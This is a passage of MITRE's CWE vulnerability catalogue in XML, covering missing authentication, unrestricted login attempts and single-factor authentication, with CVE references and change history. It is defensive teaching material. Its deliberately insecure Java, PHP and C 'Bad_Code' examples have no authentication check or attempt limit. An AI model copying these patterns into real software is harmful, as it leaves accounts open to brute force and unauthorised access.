							              <Code>public BankAccount createBankAccount(String accountNumber, String
								accountType, </Code>
							              <Code>String accountName, String accountSSN, double balance) {</Code>
							              <Code/>
							              <Block>
								                <Code>BankAccount account = new BankAccount();</Code>
								                <Code>account.setAccountNumber(accountNumber);</Code>
								                <Code>account.setAccountType(accountType);</Code>
								                <Code>account.setAccountOwnerName(accountName);</Code>
								                <Code>account.setAccountOwnerSSN(accountSSN);</Code>
								                <Code>account.setBalance(balance);</Code>
								                <Code/>
								                <Code>return account;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text> However, there is no authentication mechanism to ensure that the user
							creating this bank account object has the authority to create new bank
							accounts. Some authentication mechanisms should be used to verify that
							the user has the authority to create bank account objects. </Text>
						            <Text> The following Java code includes a boolean variable and method for
							authenticating a user. If the user has not been authenticated then the
							createBankAccount will not create the bank account object. </Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>private boolean isUserAuthentic = false;</Code>
							              <Code/>
							              <Comment>// authenticate user, </Comment>
							              <Comment>// if user is authenticated then set variable to true</Comment>
							              <Comment>// otherwise set variable to false</Comment>
							              <Code>public boolean authenticateUser(String username, String password)
								{</Code>
							              <Block>
								                <Code>...</Code>
							              </Block>
							              <Code>}</Code>
							              <Code/>
							              <Code>public BankAccount createNewBankAccount(String accountNumber,
								String accountType, </Code>
							              <Code>String accountName, String accountSSN, double balance) {</Code>
							              <Block>
								                <Code>BankAccount account = null;</Code>
								                <Code/>
								                <Code>if (isUserAuthentic) {</Code>
								                <Block>
									                  <Code>account = new BankAccount();</Code>
									                  <Code>account.setAccountNumber(accountNumber);</Code>
									                  <Code>account.setAccountType(accountType);</Code>
									                  <Code>account.setAccountOwnerName(accountName);</Code>
									                  <Code>account.setAccountOwnerSSN(accountSSN);</Code>
									                  <Code>account.setBalance(balance);</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>return account;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1810</Observed_Example_Reference>
					          <Observed_Example_Description>MFV. Access TFTP server without authentication and
						obtain configuration file with sensitive plaintext
						information.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-6827</Observed_Example_Reference>
					          <Observed_Example_Description>Agent software running at privileges does not
						authenticate incoming requests over an unprotected channel, allowing a
						Shatter" attack.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0213</Observed_Example_Reference>
					          <Observed_Example_Description>Product enforces restrictions through a GUI but
						not through privileged APIs.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference Reference_ID="REF-7" Local_Reference_ID="R.306.1">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 2, "Common Vulnerabilities of Authentication," Page
						36</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
				        <Reference Local_Reference_ID="R.306.2">
					          <Reference_Author>Frank Kim</Reference_Author>
					          <Reference_Title>Top 25 Series - Rank 19 - Missing Authentication for Critical
						Function</Reference_Title>
					          <Reference_Publisher>SANS Software Security Institute</Reference_Publisher>
					          <Reference_Date>2010-02-23</Reference_Date>
					          <Reference_Link>http://blogs.sans.org/appsecstreetfighter/2010/02/23/top-25-series-rank-19-missing-authentication-for-critical-function/</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-21" Local_Reference_ID="R.306.3">
					          <Reference_Author>OWASP</Reference_Author>
					          <Reference_Title>OWASP Enterprise Security API (ESAPI) Project</Reference_Title>
					          <Reference_Link>http://www.owasp.org/index.php/ESAPI</Reference_Link>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>No Authentication for Critical Function</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>225</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>12</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>36</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>40</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>62</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Relationship_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Common_Consequences,
						Demonstrative_Examples, Detection_Factors, Likelihood_of_Exploit, Name,
						Observed_Examples, Potential_Mitigations, References,
						Related_Attack_Patterns, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Potential_Mitigations,
						References</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations, References,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2010-02-16">No Authentication for
						Critical Function</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="307" Name="Improper Restriction of Excessive Authentication Attempts" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software does not implement sufficient measures to prevent
					multiple failed authentication attempts within in a short time frame, making it
					more susceptible to brute force attacks.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">900</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>866</Relationship_Target_ID>
					          <!--2011 Top 25 - Porous Defenses-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">800</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>808</Relationship_Target_ID>
					          <!--2010 Top 25 - Weaknesses On the Cusp-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>287</Relationship_Target_ID>
					          <!--Improper Authentication-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>799</Relationship_Target_ID>
					          <!--Improper Control of Interaction Frequency-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>724</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">809</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>812</Relationship_Target_ID>
					          <!--OWASP Top Ten 2010 Category A3 - Broken Authentication and Session Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>898</Relationship_Target_ID>
					          <!--SFP Cluster: Authentication-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="Language-independent"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>An attacker could perform an arbitrary number of authentication
							attempts using different passwords, and eventually gain access to the
							targeted account.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Common protection mechanisms include:</Text>
						            <Block Block_Nature="List">
							              <Text>Disconnecting the user after a small number of failed
								attempts</Text>
							              <Text>Implementing a timeout</Text>
							              <Text>Locking out a targeted account</Text>
							              <Text>Requiring a computational task on the user's part.</Text>
						            </Block>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-4">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Libraries or Frameworks</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use a vetted library or framework that does not allow this weakness to
							occur or provides constructs that make this weakness easier to avoid. </Text>
						            <Text>Consider using libraries with authentication capabilities such as
							OpenSSL or the ESAPI Authenticator. [R.307.1]</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>In January 2009, an attacker was able to gain administrator access
						to a Twitter server because the server did not restrict the number of login
						attempts. The attacker targeted a member of Twitter's support team and was
						able to successfully guess the member's password using a brute force attack
						by guessing a large number of common words. Once the attacker gained access
						as the member of the support staff, he used the administrator panel to gain
						access to 33 accounts that belonged to celebrities and politicians.
						Ultimately, fake Twitter messages were sent that appeared to come from the
						compromised accounts.</Intro_Text>
					          <Demonstrative_Example_References>
						            <Reference>
							              <Reference_Author>Kim Zetter</Reference_Author>
							              <Reference_Title>Weak Password Brings ‘Happiness’ to Twitter
								Hacker</Reference_Title>
							              <Reference_Date>2009-01-09</Reference_Date>
							              <Reference_Link>http://www.wired.com/threatlevel/2009/01/professed-twitt/</Reference_Link>
						            </Reference>
					          </Demonstrative_Example_References>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>The following code, extracted from a servlet's doPost() method,
						performs an authentication lookup every time the servlet is
						invoked.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>String username = request.getParameter("username");</Code>
							              <Code>String password = request.getParameter("password");</Code>
							              <Code/>
							              <Code>int authResult = authenticateUser(username, password);</Code>
						            </Block>
						            <Text>However, the software makes no attempt to restrict excessive
							authentication attempts.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>This code attempts to limit the number of login attempts by causing
						the process to sleep before completing the authentication.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>PHP</Code_Example_Language>
							              <Code> $username = $_POST['username'];</Code>
							              <Code> $password = $_POST['password'];</Code>
							              <Code> sleep(2000);</Code>
							              <Code> $isAuthenticated = authenticateUser($username, $password);</Code>
						            </Block>
						            <Text>However, there is no limit on parallel connections, so this does not
							increase the amount of time an attacker needs to complete an
							attack.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>In the following C/C++ example the validateUser method opens a
						socket connection, reads a username and password from the socket and
						attempts to authenticate the username and password. </Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>int validateUser(char *host, int port)</Code>
							              <Code>{</Code>
							              <Block>
								                <Code>int socket = openSocketConnection(host, port);</Code>
								                <Code>if (socket &lt; 0) {</Code>
								                <Block>
									                  <Code>printf("Unable to open socket connection");</Code>
									                  <Code>return(FAIL);</Code>
								                </Block>
								                <Code>}</Code>
								                <Code/>
								                <Code>int isValidUser = 0;</Code>
								                <Code>char username[USERNAME_SIZE];</Code>
								                <Code>char password[PASSWORD_SIZE];</Code>
								                <Code/>
								                <Code>while (isValidUser == 0) {</Code>
								                <Block>
									                  <Code>if (getNextMessage(socket, username, USERNAME_SIZE) &gt;
										0) {</Code>
									                  <Block>
										                    <Code>if (getNextMessage(socket, password, PASSWORD_SIZE)
											&gt; 0) {</Code>
										                    <Block>
											                      <Code>isValidUser = AuthenticateUser(username,
												password);</Code>
										                    </Block>
										                    <Code>}</Code>
									                  </Block>
									                  <Code>}</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>return(SUCCESS);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>The validateUser method will continuously check for a valid username
							and password without any restriction on the number of authentication
							attempts made. The method should limit the number of authentication
							attempts made to prevent brute force attacks as in the following example
							code.</Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>int validateUser(char *host, int port)</Code>
							              <Code>{</Code>
							              <Block>
								                <Code>...</Code>
								                <Code/>
								                <Code>int count = 0;</Code>
								                <Code>while ((isValidUser == 0) &amp;&amp; (count &lt;
									MAX_ATTEMPTS)) {</Code>
								                <Block>
									                  <Code>if (getNextMessage(socket, username, USERNAME_SIZE) &gt;
										0) {</Code>
									                  <Block>
										                    <Code>if (getNextMessage(socket, password, PASSWORD_SIZE)
											&gt; 0) {</Code>
										                    <Block>
											                      <Code>isValidUser = AuthenticateUser(username,
												password);</Code>
										                    </Block>
										                    <Code>}</Code>
									                  </Block>
									                  <Code>}</Code>
									                  <Code>count++;</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>if (isValidUser) {</Code>
								                <Block>
									                  <Code>return(SUCCESS);</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>else {</Code>
								                <Block>
									                  <Code>return(FAIL);</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-1999-1152</Observed_Example_Reference>
					          <Observed_Example_Description>Product does not disconnect or timeout after
						multiple failed logins.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1291</Observed_Example_Reference>
					          <Observed_Example_Description>Product does not disconnect or timeout after
						multiple failed logins.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0395</Observed_Example_Reference>
					          <Observed_Example_Description>Product does not disconnect or timeout after
						multiple failed logins.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1339</Observed_Example_Reference>
					          <Observed_Example_Description>Product does not disconnect or timeout after
						multiple failed logins.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0628</Observed_Example_Reference>
					          <Observed_Example_Description>Product does not disconnect or timeout after
						multiple failed logins.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-1999-1324</Observed_Example_Reference>
					          <Observed_Example_Description>User accounts not disabled when they exceed a
						threshold; possibly a resultant problem.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference Reference_ID="REF-21" Local_Reference_ID="R.307.1">
					          <Reference_Author>OWASP</Reference_Author>
					          <Reference_Title>OWASP Enterprise Security API (ESAPI) Project</Reference_Title>
					          <Reference_Link>http://www.owasp.org/index.php/ESAPI</Reference_Link>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Multiple Failed Authentication Attempts not
						Prevented</Mapped_Node_Name>
					          <Mapped_Node_ID>AUTHENT.MULTFAIL</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Sean Eidemiller</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>added/updated demonstrative
						examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Observed_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Name,
						Potential_Mitigations, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Related_Attack_Patterns,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations, References,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Multiple Failed
						Authentication Attempts not Prevented</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2010-02-16">Failure to Restrict Excessive
						Authentication Attempts</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="308" Name="Use of Single-factor Authentication" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The use of single-factor authentication can lead to unnecessary
					risk of compromise when compared with the benefits of a dual-factor
					authentication scheme.</Description_Summary>
				        <Extended_Description>
					          <Text>While the use of multiple authentication schemes is simply piling on more
						complexity on top of authentication, it is inestimably valuable to have such
						measures of redundancy. The use of weak, reused, and common passwords is
						rampant on the internet. Without the added protection of multiple
						authentication schemes, a single mistake can result in the compromise of an
						account. For this reason, if multiple schemes are possible and also easy to
						use, they should be implemented and required.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>287</Relationship_Target_ID>
					          <!--Improper Authentication-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>654</Relationship_Target_ID>
					          <!--Reliance on a Single Factor in a Security Decision-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>309</Relationship_Target_ID>
					          <!--Use of Password System for Primary Authentication-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>898</Relationship_Target_ID>
					          <!--SFP Cluster: Authentication-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>If the secret in a single-factor authentication scheme gets
							compromised, full authentication is possible.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use multiple independent authentication schemes, which ensures that --
							if one of the methods is compromised -- the system itself is still
							likely safe from compromise.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-101">
					          <Intro_Text>In both of these examples, a user is logged in if their given
						password matches a stored password:</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>unsigned char *check_passwd(char *plaintext) {</Code>
							              <Block>
								                <Code>ctext = simple_digest("sha1",plaintext,strlen(plaintext), ...
									);</Code>
								                <Comment>//Login if hash matches stored hash</Comment>
								                <Code>if (equal(ctext, secret_password())) {</Code>
								                <Block>
									                  <Code>login_user();</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>String plainText = new String(plainTextIn);</Code>
							              <Code> MessageDigest encer = MessageDigest.getInstance("SHA");</Code>
							              <Code> encer.update(plainTextIn);</Code>
							              <Code>byte[] digest = password.digest();</Code>
							              <Comment>//Login if hash matches stored hash</Comment>
							              <Code>if (equal(digest,secret_password())) {</Code>
							              <Block>
								                <Code>login_user();</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>This code fails to incorporate more than one method of authentication.
							If an attacker can steal or guess a user's password, they are given full
							access to their account. Note this code also exhibits CWE-328
							(Reversible One-Way Hash) and CWE-759 (Use of a One-Way Hash without a
							Salt).</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Using single-factor authentication</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>CLASP</Submitter>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Using Single-factor
						Authentication</Previous_Entry_Name>
				        </Previous_Entry_Names>
